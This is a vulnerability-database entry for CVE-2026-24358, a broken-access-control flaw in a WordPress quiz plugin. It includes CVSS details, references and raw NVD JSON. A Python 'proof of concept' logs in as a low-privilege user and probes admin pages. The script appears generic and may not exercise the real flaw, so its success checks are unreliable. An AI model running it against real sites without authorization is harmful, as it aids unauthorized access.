CVE-2026-24358

Description

Missing Authorization vulnerability in ExpressTech Systems Quiz And Survey Master quiz-master-next allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Quiz And Survey Master: from n/a through <= 10.3.3.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Quiz Master Next (quiz-master-next) <= 10.3.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-24358 PoC - WordPress Quiz Master Next Broken Access Control
# This PoC demonstrates accessing admin functions with low-privilege user

import requests
from urllib.parse import urljoin

TARGET_URL = "https://example.com/"
USERNAME = "low_privilege_user"
PASSWORD = "user_password"

def exploit_cve_2026_24358():
    """
    Exploit for Missing Authorization vulnerability in Quiz Master Next
    Allows low-privilege users to access admin functions
    """
    session = requests.Session()
    
    # Step 1: Login as low-privilege user
    login_url = urljoin(TARGET_URL, "wp-login.php")
    login_data = {
        "log": USERNAME,
        "pwd": PASSWORD,
        "wp-submit": "Log In"
    }
    session.post(login_url, data=login_data)
    
    # Step 2: Access admin function without proper authorization
    # Target admin-only endpoints (quiz management, results export, etc.)
    admin_endpoints = [
        "wp-admin/admin.php?page=mlw_quiz_options",
        "wp-admin/admin.php?page=mlw_quiz_results",
        "wp-admin/admin.php?page=qsm_global_settings"
    ]
    
    for endpoint in admin_endpoints:
        admin_url = urljoin(TARGET_URL, endpoint)
        response = session.get(admin_url)
        
        # Check if access is granted without proper admin privileges
        if response.status_code == 200 and "admin" in response.text.lower():
            print(f"[+] Successfully accessed: {endpoint}")
            print(f"[+] Vulnerable to CVE-2026-24358")
        else:
            print(f"[-] Access denied for: {endpoint}")

if __name__ == "__main__":
    exploit_cve_2026_24358()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24358
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24358
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24358/
[4] VulDB https://vuldb.com/cve/CVE-2026-24358
[5] https://patchstack.com/database/Wordpress/Plugin/quiz-master-next/vulnerability/wordpress-quiz-and-survey-master-plugin-10-3-3-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24358", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:39.570", "lastModified": "2026-04-28T03:16:03.133", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in ExpressTech Systems Quiz And Survey Master quiz-master-next allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Quiz And Survey Master: from n/a through <= 10.3.3."}, {"lang": "es", "value": "Vulnerabilidad de Falta de Autorización en ExpressTech Systems Quiz And Survey Master quiz-master-next permite la explotación de niveles de seguridad de control de acceso mal configurados. Este problema afecta a Quiz And Survey Master: desde n/a hasta <= 10.3.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/quiz-master-next/vulnerability/wordpress-quiz-and-survey-master-plugin-10-3-3-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}